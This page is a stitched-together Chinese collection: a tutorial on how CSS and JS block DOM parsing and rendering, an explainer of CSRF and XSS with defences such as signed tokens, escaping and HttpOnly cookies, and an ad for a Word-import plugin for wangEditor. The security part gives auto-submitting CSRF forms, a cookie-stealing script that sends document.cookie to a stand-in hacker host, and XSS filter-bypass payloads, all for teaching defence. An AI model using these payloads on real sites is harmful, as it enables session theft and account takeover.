整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

原来 CSS 与 JS 是这样阻塞 DOM 解析和渲染的

计大家都听过,尽量将CSS放头部,JS放底部,这样可以提高页面的性能。然而,为什么呢?大家有考虑过么?很长一段时间,我都是知其然而不知其所以然,强行背下来应付考核当然可以,但实际应用中必然一塌糊涂。因此洗(wang)心(yang)革(bu)面(lao),小结一下最近玩出来的成果。

node端唯一需要解释一下的是这个函数:

function sleep(time) {
 return new Promise(function(res) {
 setTimeout(() => {
 res()
 }, time);
 })
}

嗯!其实就延时啦。如果CSS或者JS文件名有sleep3000之类的前缀时,意思就是延迟3000毫秒才会返回这文件。

下文使用的HTML文件是长这样的

我会在其中插入不同的JS和CSS。

而使用的common.css,不论有没有前缀,内容都是这样的:

div {
 background: lightblue;
}

好了,话不多数,开始正文!

CSS

关于CSS,大家肯定都知道的是<link>标签放在头部性能会高一点,少一点人知道如果<script>与<link>同时在头部的话,<script>在上可能会更好。这是为什么呢?下面我们一起来看一下CSS对DOM的影响是什么。

CSS 不会阻塞 DOM 的解析

注意哦!这里说的是DOM 解析,证明的例子如下,首先在头部插入<script defer src="/js/logDiv.js"></script>,JS文件的内容是:

const div = document.querySelector('div');
console.log(div);

defer属性相信大家也很熟悉了,MDN对此的描述是用来通知浏览器该脚本将在文档完成解析后,触发 DOMContentLoaded 事件前执行。设置这个属性,能保证DOM解析后马上打印出div。

之后将<link rel="stylesheet" href="/css/sleep3000-common.css">插入HTML文件的任一位置,打开浏览器,可以看到是首先打印出div这个DOM节点,过3s左右之后才渲染出一个浅蓝色的div。这就证明了CSS 是不会阻塞 DOM 的解析的,尽管CSS下载需要3s,但这个过程中,浏览器不会傻等着CSS下载完,而是会解析DOM的。

这里简单说一下,浏览器是解析DOM生成DOM Tree,结合CSS生成的CSS Tree,最终组成render tree,再渲染页面。由此可见,在此过程中CSS完全无法影响DOM Tree,因而无需阻塞DOM解析。然而,DOM Tree和CSS Tree会组合成render tree,那CSS会不会页面阻塞渲染呢?

CSS 阻塞页面渲染

其实这一点,刚才的例子已经说明了,如果CSS 不会阻塞页面阻塞渲染,那么CSS文件下载之前,浏览器就会渲染出一个浅绿色的div,之后再变成浅蓝色。浏览器的这个策略其实很明智的,想象一下,如果没有这个策略,页面首先会呈现出一个原始的模样,待CSS下载完之后又突然变了一个模样。用户体验可谓极差,而且渲染是有成本的。

因此,基于性能与用户体验的考虑,浏览器会尽量减少渲染的次数,CSS顺理成章地阻塞页面渲染。

然而,事情总有奇怪的,请看这例子,HTML头部结构如下:

<header>
 <link rel="stylesheet" href="/css/sleep3000-common.css">
 <script src="/js/logDiv.js"></script>
</header>

但思考一下这会产生什么结果呢?

答案是浏览器会转圈圈三秒,但此过程中不会打印任何东西,之后呈现出一个浅蓝色的div,再打印出null。结果好像是CSS不单阻塞了页面渲染,还阻塞了DOM 的解析啊!稍等,在你打算掀桌子疯狂吐槽我之前,请先思考一下是什么阻塞了DOM 的解析,刚才已经证明了CSS是不会阻塞的,那么阻塞了页面解析其实是JS!但明明JS的代码如此简单,肯定不会阻塞这么久,那就是JS在等待CSS的下载,这是为什么呢?

仔细思考一下,其实这样做是有道理的,如果脚本的内容是获取元素的样式,宽高等CSS控制的属性,浏览器是需要计算的,也就是依赖于CSS。浏览器也无法感知脚本内容到底是什么,为避免样式获取,因而只好等前面所有的样式下载完后,再执行JS。因而造成了之前例子的情况。

所以,看官大人明白为何<script>与<link>同时在头部的话,<script>在上可能会更好了么?之所以是可能,是因为如果<link>的内容下载更快的话,是没影响的,但反过来的话,JS就要等待了,然而这些等待的时间是完全不必要的。

JS

JS,也就是<script>标签,估计大家都很熟悉了,不就是阻塞DOM解析和渲染么。然而,其中其实还是有一点细节可以考究一下的,我们一起来好好看看。

JS 阻塞 DOM 解析

首先我们需要一个新的JS文件名为blok.js,内容如下:

const arr = [];
for (let i = 0; i < 10000000; i++) {
 arr.push(i);
 arr.splice(i % 3, i % 7, i % 5);
}
const div = document.querySelector('div');
console.log(div);

其实那个数组操作时没意义的,只是为了让这个JS文件多花执行时间而已。之后把这个文件插入头部,浏览器跑一下。

结果估计大家也能想象得到,浏览器转圈圈一会,这过程中不会有任何东西出现。之后打印出null,再出现一个浅绿色的div。现象就足以说明JS 阻塞 DOM 解析了。其实原因也很好理解,浏览器并不知道脚本的内容是什么,如果先行解析下面的DOM,万一脚本内全删了后面的DOM,浏览器就白干活了。更别谈丧心病狂的document.write。浏览器无法预估里面的内容,那就干脆全部停住,等脚本执行完再干活就好了。

对此的优化其实也很显而易见,具体分为两类。如果JS文件体积太大,同时你确定没必要阻塞DOM解析的话,不妨按需要加上defer或者async属性,此时脚本下载的过程中是不会阻塞DOM解析的。

而如果是文件执行时间太长,不妨分拆一下代码,不用立即执行的代码,可以使用一下以前的黑科技:setTimeout()。当然,现代的浏览器很聪明,它会“偷看”之后的DOM内容,碰到如<link>、<script>和<img>等标签时,它会帮助我们先行下载里面的资源,不会傻等到解析到那里时才下载。

浏览器遇到 <script> 标签时,会触发页面渲染

这个细节可能不少看官大人并不清楚,其实这才是解释上面为何JS执行会等待CSS下载的原因。先上例子,HTML内body的结构如下:

<body>
	<div></div>
	<script src="/js/sleep3000-logDiv.js"></script>
	<style>
		div {
			background: lightgrey;
		}
	</style>
	<script src="/js/sleep5000-logDiv.js"></script>
	<link rel="stylesheet" href="/css/common.css">
</body>

这个例子也是很极端的例子,但不妨碍它透露给我们很多重要的信息。想象一下,页面会怎样呢?

答案是先浅绿色,再浅灰色,最后浅蓝色。由此可见,每次碰到<script>标签时,浏览器都会渲染一次页面。这是基于同样的理由,浏览器不知道脚本的内容,因而碰到脚本时,只好先渲染页面,确保脚本能获取到最新的DOM元素信息,尽管脚本可能不需要这些信息。

小结

综上所述,我们得出这样的结论:

  • CSS 不会阻塞 DOM 的解析,但会阻塞 DOM 渲染。
  • JS 阻塞 DOM 解析,但浏览器会"偷看"DOM,预先下载相关资源。
  • 浏览器遇到 <script>且没有defer或async属性的 标签时,会触发页面渲染,因而如果前面CSS资源尚未加载完毕时,浏览器会等待它加载完毕在执行脚本。

所以,你现在明白为何<script>最好放底部,<link>最好放头部,如果头部同时有<script>与<link>的情况下,最好将<script>放在<link>上面了吗?

本周回顾

前端要知道的网络知识一:TCP/IP 协议到底在讲什么

前端要知道的网络知识二:TCP协议的三次握手和四次分手

前端要知道的网络知识三:认识OSI七层模型

前端要知道的网络知识四:TCP的概念和HTTP连接管理

前端要知道的网络知识五:详细的介绍web缓存

前端要知道的网络知识六:详细介绍URL及其用法

前端要知道的网络知识七:初识HTTP报文

前端要知道的网络知识八:GET 和 POST 到底有什么区别

前端要知道的网络知识九:初识HTTPS加密过程,原来如此

前端要知道的网络知识十:HTTPS加密核心RSA算法

....

链接文章

https://juejin.im/post/59c60691518825396f4f71a1

https://github.com/ljf0113/how-js-and-css-block-dom

https://github.com/stephentian/33-js-concepts?utm_source=gold_browser_extension

、CSRF

CSRF 全称叫做,跨站请求伪造(Cross—Site Request Forgery),顾名思义,攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。对于服务器而言,判断请求对象是否是你本身的方法限于提供身份认证的cookie、秘钥等,无法去识别个体。


1.原理介绍及流程分析

以下,举例模拟一个被CSRF攻击影响的例子:

①用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;

②在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;

③用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;

④网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;

⑤浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

更为具体的举例,伪造请求的方式一般有如下几种方式:

// 页面中有一个超链接,诱导用户进行点击

<a href="https://aaa.com?userid=3&money=9999">诱导信息</a>

// 直接在页面上使用Img进行get请求

<img src="https://aaa.com?userid=3&money=9999"/>

// 或使用表单进行提交

<iframe name="heihei" style="display:none;"></iframe>

<form action="https://aaa.com?userid=3&money=9999" method="post" target="heihei" >

<input name="userid" value="3" type="hidden" />

<input name="money" value="9999" type="hidden" />

</form>

<script>
window.onload = function(){
  document.forms[0].submit();
}
</script>


2.CSRF漏洞检测

检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。

当然我们也可以试着利用根据来进行漏洞检测,随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。

以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。


3.CSRF防御原理

根据以上的方式我们能显而易见看到,问题就出在“访问网站B”和“携带Cookie信息”上。针对CRSF攻击,CSRF防护的一个重点是要对“用户凭证”进行校验处理,通过这种机制可以对用户的请求是合法进行判断,判断是不是跨站攻击的行为。因为“用户凭证”是Cookie中存储的,所以防护机制的处理对像也是Cookie的数据,我们要在防护的数据中加入签名校验,并对数据进行生命周期时间管理,就是数据过期管理。

由此得出,CSRF防护的一个重点是要对“用户凭证”进行校验处理,通过这种机制可以对用户的请求是合法进行判断,判断是不是跨站攻击的行为。因为“用户凭证”是Cookie中存储的,所以防护机制的处理对像也是Cookie的数据,我们要在防护的数据中加入签名校验,并对数据进行生命周期时间管理,就是数据过期管理。


①防御思路

针对防止CSRF的发生,创建Token处理机制,Token数据结构与时间、加密签名直接相关, 这么设计的的目的如上所说,是给“身份凭证”加上时间生存周期管理和签名校验管理,如果的凭证被人拿到了, 要先判断Token中的“签名”与时间戳是否都有效,再进行正常的业务处理, 这样通过对非法数据的校验过滤,来降低CSRF攻击的成功率。


②签名与时间戳防护处理流程

在token中加入上述方法中所描述的时间戳信息和签名信息:

-----------------------------------------------------------------------------
|             msg                 |     separator   | signature           |
-----------------------------------------------------------------------------
|     key     |   timestamp       |         .       | Base64(sha256(msg)) |
-----------------------------------------------------------------------------
  • msg部分: key即随机生成的字符串用作用户凭证认证+timestamp时间戳验证时间用
  • separator部分:用于分隔msg部分与加密后生成的signature签名部分
  • signature部分:signature即签名,是对“msg消息”用特定算法进行加密后的串。
token = base64(msg)格式化..base64(sha256("密锁", msg))

整个Token就是由被Base64的msg编码串+先256加密msg再进行Base64编码,两个串的内容结合。


③Token校验

在整个防御做法中,对于token的校验流程为:

  • 在服务器端对接收到的token进行分片,以分隔符进行分割,获取信息内容和签名
  • 对于签名验证,对信息进行解码,如果通过则进入时间校验
  • 如果签名有效的,取出msg中的timestamp字段数据,与当前系统时间进行比较,如果过期时间小于当前时间,那这个token是过期的,需要重新的取得token。


二、XSS

XSS(跨站脚本攻击,Cross-site scripting,简称并不是 CSS,因为 CSS是 层叠样式表)是一种常见的 web 安全问题。XSS 攻击手段是允许恶意web用户将代码植入到提供给其它用户使用的页面中。从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。


1.XSS攻击类型区分

① 反射型

反射型 XSS攻击 通常是简单地把用户输入的数据“反射”给浏览器。黑客一般会诱使用户点击一个有恶意的链接,用户点击就会发起 XSS 攻击。反射型 XSS 攻击可以将 JavaScript 脚本插入到 HTML 节点中、HTML 属性中以及通过 JS 注入到 URL 或 HTML 文档中。


② 储存型

存储型 XSS攻击 这种攻击会把用户输入的数据存储到服务器中。例如在一个有 XSS 漏洞的博客网站,黑客写下一篇含有恶意 JavaScript 代码的文章,文章发布后,所有看了这篇博文的用户都会在他们的浏览器中执行恶意 JavaScript 代码。


③ DOM-based 型

注意: 这种类型的划分与以上两种类型划分方式不同,是按照Payload的位置划分

DOM-based 型XSS攻击 基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞。

发起 XSS 攻击后,黑客写入的 JavaScript 代码就会执行,通过脚本可以控制用户的浏览器。一个常见的攻击手段是“Cookie 劫持”,cookie 中一般加密保存着当前用户的登录凭据,黑客可以通过恶意代码将用户的 cookie 发到自己的服务器上,然后就可以做到无密码登录上用户的账户。


2.实现XSS攻击的条件

①需要向web页面注入恶意代码;

②这些恶意代码能够被浏览器成功的执行。


3.会利用XSS攻击获取什么?

①窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码:

var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;

在此提到来自浏览器的自带防御,浏览器针对于这类问题的存在,对于DOM对象的访问会有自己的禁用方式,避免最基本的XSS注入。例如在旧版的IE8和IE8以下的版本都是可以被执行的,火狐也能执行代码,但火狐对其禁止访问DOM对象,所以在火狐下执行将会看到控制里抛出异常:document is not defined

②读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,如代码

③篡改网页,进行钓鱼或者恶意传播

④网站重定向


4.XSS的防御

①具体举例: 注入转义

对于URL做解析时和发起get请求时都会需要读取URL携带的参数,如果将 url 中的参数直接插入到 DOM 中,这就有可能构成 XSS 攻击,攻击者利用这一漏洞,给其他用户发送一个有恶意的链接,用户就有可能中招。 如:

http://www.example/test.index?param=<script>alert('XSS')</script>

这个 URL 的 param 参数值并不是合理的,而是攻击者构建的。

再如: 一个超链接中的URL

<a href='http://www.xss.com?cookie='+document.cookie>

上述方式可以通过点击链接的方式注入XSS,去获取当前用户的Cookie。


②防御方式

  • 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
  • 当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。


③常见的xss攻击方法

  • 绕过XSS-Filter,利用<>标签注入Html/JavaScript代码;
  • 利用HTML标签的属性值进行xss攻击。例如:
<img src=“javascript:alert(‘xss’)”/>

(当然并不是所有的Web浏览器都支持Javascript伪协议,所以此类XSS攻击具有一定的局限性)

  • 空格、回车和Tab。如果XSS Filter仅仅将敏感的输入字符列入黑名单,比如javascript,用户可以利用空格、回车和Tab键来绕过过滤,例如:
<img src=“javas  cript:alert(/xss/);”/>
  • 利用事件来执行跨站脚本。例如:
<img src=“#” onerror= “alert(1)”/>

当src错误的视乎就会执行onerror事件

  • 利用CSS跨站。例如:
Body {backgrund-image: url(“javascript:alert(‘xss’)”)}
  • 扰乱过滤规则。例如:
<IMG SRC=“javaSCript: alert(/xss/);”/>
  • 利用字符编码,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好地隐藏Shellcode;(JS支持unicode、eacapes、十六进制、十进制等编码形式)
  • 拆分跨站法,将xss攻击的代码拆分开来,适用于应用程序没有过滤 XSS关键字符(如<、>)却对输入字符长度有限制的情况下;
  • DOM型的XSS主要是由客户端的脚本通过DOM动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端获得DOM中的数据在本地执行。容易导致DOM型的XSS的输入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage;


5.XSS攻击防御

原则:不相信客户输入的数据

注意:攻击代码不一定在<script></script>中

  • 使用XSS Filter

输入过滤,对用户提交的数据进行有效性验证,仅接受指定长度范围内并符合我们期望格式的的内容提交,阻止或者忽略除此外的其他任何数据。比如:电话号码必须是数字和中划线组成,而且要设定长度上限。过滤一些些常见的敏感字符,例如:< > ‘ “ & # \ javascript expression "onclick=" "onfocus";过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for;过滤JavaScript 事件的标签,例如 "onclick=", "onfocus" 等等。

  输出编码,当需要将一个字符串输出到Web网页时,同时又不确定这个字符串中是否包括XSS特殊字符(如< > &‘”等),为了确保输出内容的完整性和正确性,可以使用编码(HTMLEncode)进行处理。

  • DOM型的XSS攻击防御

把变量输出到页面时要做好相关的编码转义工作,如要输出到 <script>中,可以进行JS编码;要输出到HTML内容或属性,则进行HTML编码处理。根据不同的语境采用不同的编码处理方式。

  • HttpOnly Cookie

将重要的cookie标记为http only, 这样的话当浏览器向Web服务器发起请求的时就会带上cookie字段,但是在脚本中却不能访问这个cookie,这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie:


原文:https://juejin.cn/post/6874730741989801997

AVA中将WORD转换为HTML导入到WANGEDITOR编辑器中(解决图片问题,样式,非常完美),wangEditor如何导入word文档,如何实现导入WORD文档到WANGEDITOR编辑器中?WANGEDITOR导入WORD文档 WANGEDITOR WORD导入插件,HTML富文本编辑器导入WORD,Web富文本编辑器导入WORD,WANGEDITOR富文本编辑器导入WORD,WANGEDITOR导入WORD,WANGEDITORWORD导入编辑,wangEditor集成word导入功能,

后端是用的JAVA,SpringBoot框架,实际上前端在集成的时候是不关心后端具体是用什么语言实现的。

它这个版本有几个wangEditor3,wangEditor4,wangEditor5,好用的是就3和4,5不支持插入HTML。但是用户用插入HTML这个功能用的比较多。

vue-cli-wangEditor3,vue3-cli-wangEditor4集成word导入功能。在VUE框架下面集成了WORD导入功能。

用户选择word文件后,自动转换成html,自动将word里面的图片上传到服务器中,自动将HTML添加到编辑器中。

主要的方案就是提供一个转换接口,转换接口使用RESTful协议,这样的话兼容性更好一点,其它的平台用起来的话更方便简单一点,而且测试起来也方便。

现有项目需要为TinyMCE增加导入word文件的功能,导入后word文件里面的图片自动上传到服务器中,返回图片和文字HTML,word里面的文本样式保留

用户一般在发新闻和发文章时用到,算是一个高频使用功能,用户体验上来讲确实是很好,和以前的发新闻或者发文章的体验比起来要方便许多,用户用的更爽。

1.下载示例

https://gitee.com/xproer/zyoffice-vue3-cli-wang-editor4

2.引入组件

3.添加按钮

4.配置转换接口

效果

开发文档:https://drive.weixin.qq.com/s?k=ACoAYgezAAwsDazDKJ

产品比较:https://drive.weixin.qq.com/s?k=ACoAYgezAAwh8oq8Zf

产品源代码:https://drive.weixin.qq.com/s?k=ACoAYgezAAwjJM8412

报价单:https://drive.weixin.qq.com/s?k=ACoAYgezAAwsfyDdrf